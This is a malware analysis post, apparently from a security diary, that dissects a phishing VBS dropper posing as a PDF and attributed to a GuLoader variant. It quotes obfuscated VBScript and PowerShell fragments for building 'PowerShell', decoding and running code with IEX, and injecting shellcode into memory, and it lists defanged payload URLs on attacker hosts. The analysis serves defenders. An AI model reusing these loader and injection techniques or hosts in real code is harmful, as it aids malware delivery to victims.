One File, Two Payloads
It has been a while since I discussed obfuscation techniques in malicious scripts. I found a VB script that pretends to be a PDF file. As usual, it was delivered through a phishing email with a zip archive. The filename is "rfw_po_docs_order_sheet_01_10_202400000000_pdf.vbs" (SHA256:6e6ecd38cc3c58c40daa4020b856550b1cbaf1dbc0fad517f7ca26d6e11a3d75[1])
The script starts with a strange trick: It lists the available Windows services, builds a string containing all the services names, and searches for the substring “Microsoft” across them:
Set Krebse = GetObject("winmgmts:{impersonationLevel=" & "i" & "mpersonate}!\\.\root\cimv2") on error resume next Set Adulterant = Krebse.ExecQuery("Select * from Win32_Service") For Each Diaphanom in Adulterant Botn = Botn + Diaphanom.DisplayName Anencephaliadelegereel = LenB("Sgetilladelser") Next Modangrebs = instr(1,Botn,"Microsoft",vbTextCompare) if Modangrebs <> 0 then
This looks pretty obvious that it will work because there are a lot of services that contain that string. The purpose is different: To build the string “PowerShell”:
The variable $Modangrebs will contain the first position of the Microsoft string. Then, the script does this:
Modangrebs = mid(Botn,Modangrebs+5,1) Modangrebs=UCase(Modangrebs) Figurmr = "ower" + Modangrebs + "hell.exe "
It extracts the letter ’S’ and builds the string.
Indeed, at the end of the script, PowerShell is invoked:
Call Udklknings.ShellExecute("P" & Figurmr, Chr(34) & J4 & Chr(34), "", "", Kalkstene218)
Let’s have a look at the payload “J4”. J4 is based on a series of variables that contains strings, integers, or hex values:
Const Outslink = 15548 Const Srlovssagers = "Acemetae249 Helsidesannoncer Lovhjemmel24" Const purgatories = &HFFFF2306 Const diatomicity = "Biprodukts205 Sarcogyps Petrification" Const Unrepetitiously224 = "Riddertidens Posede Hastati Retinal" Const Afstaaelse = -23507 Const Fyldestgrelses = 35506 Const Grundigt = "Mislabors Beklageliges226 Ranine Chewy" Const Stikkestingsmaskinen = "Uhs Handpicks Hypersensitizations95" Const Housewarm = "Sildehajens Microscopises" Const Shooting = "Tricorn Bigot Vandflyvere126 Heades" Const Spurtes = &HBF37 Const Tjenstlige = "Anamnestic Cometaria" Const Directoral = 64675 Const Enderonic = &HFFFFFA7B Const Udgangsstrm = "Golder Palmebladstaget" Const Barkede = &HFFFF831D Const Aa38 = &HFFFF9626 [...]
Everything is concatenated with some manipulations like substring extraction:
Finiglacialramp = Mid("Unplutocratical41",140,245)
Replacements:
Revolutionisestor = Replace(Revolutionisestor,"Straight","Genvindes")
or XOR:
Brannersprintkorrekturs = Brannersprintkorrekturs xor 3898120
The payload is polluted with many strings “Calc32”, replaced by “S” at the end:
J4 = Replace(J4,"Calc32",Modangrebs)
The Powershell payload fetches some content online:
hxxp://85[.]209[.]176[.]46/Lamben.smi>hxxp://ecox[.]pt/Lamben.smi
In the script, only the first element of the array (delimited by “>” is used).
It also uses a simple function to obfuscate its code that, once decoded, is executed with a classic IEX:
Function datas ([String]$Attach) { $zool = 5; For($Stagykre=4; $Stagykre -lt $Attach.Length-1; $Stagykre+=$zool) { $Adjud4 = $Attach.Substring($Stagykre, $Axifer); $Adjud=$Adjud+$Adjud4; } $Adjud; }
Based on this function, the following variable will contain “IEX”:
$Adjud01=datas 'DiamiNaveeXeroxMeta ';
The downloaded payload is a simple Base64 chunk of data but there is another nice trick: Only a part of the file contains the payload. Once decoded, it is extracted with the following line:
$global:Adjud3=$Adjud2.substring(287353,19289)
The payload is heavily obfuscated but we can see the following classic actions: Some memory is allocated, fulfilled with executable code and invoked.
$global:Frosties3 = $Frosties16.Invoke([IntPtr]::Zero, 652, 0x3000, 0x40) [...] $Frosties21.Invoke($Frosties3,$Frosties20,$Telopha,0,0)
Where is the payload? Once memory has been allocated, there are two chunk of data that are copied in memory:
$Haandk144=287353-652 [...] [System.Runtime.InteropServices.Marshal]::Copy($Belize, 0, $Frosties3, 652) [...] [System.Runtime.InteropServices.Marshal]::Copy($Belize, 652, $Frosties20, $Haandk144)
What is the contain of the $Belize variable? In the first stage script, the variable was filled with the downloaded content (see URLs above):
$global:Unheredit = Get-Content $Borgmester2 $global:Belize = [System.Convert]::FromBase64String($Unheredit)
That's the magic here: The downloaded payload in Base64 contains two important pieces of data:
From offset 0: the executable payload that is injected and executed in memory.
From offset 287353: the second stage PowerShell script.
The executed payload crashed in my sandbox for an unknown reason but apparently, it launched a "wab.exe" process (from C:\Program Files\Windows Mail). This tool is the "Windows Address Book" application. The process has injected malicious code and tries to fetch another payload from hxxp://85[.]209[.]176[.]46/onNRbDtEslIgGZXX169.bin.
It seems to be a variant of the GuLoader[2] malware.
[1] https://www.virustotal.com/gui/file/6e6ecd38cc3c58c40daa4020b856550b1cbaf1dbc0fad517f7ca26d6e11a3d75
[2] https://misp-galaxy.org/mitre-malware/?h=guloader#guloader-s0561
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments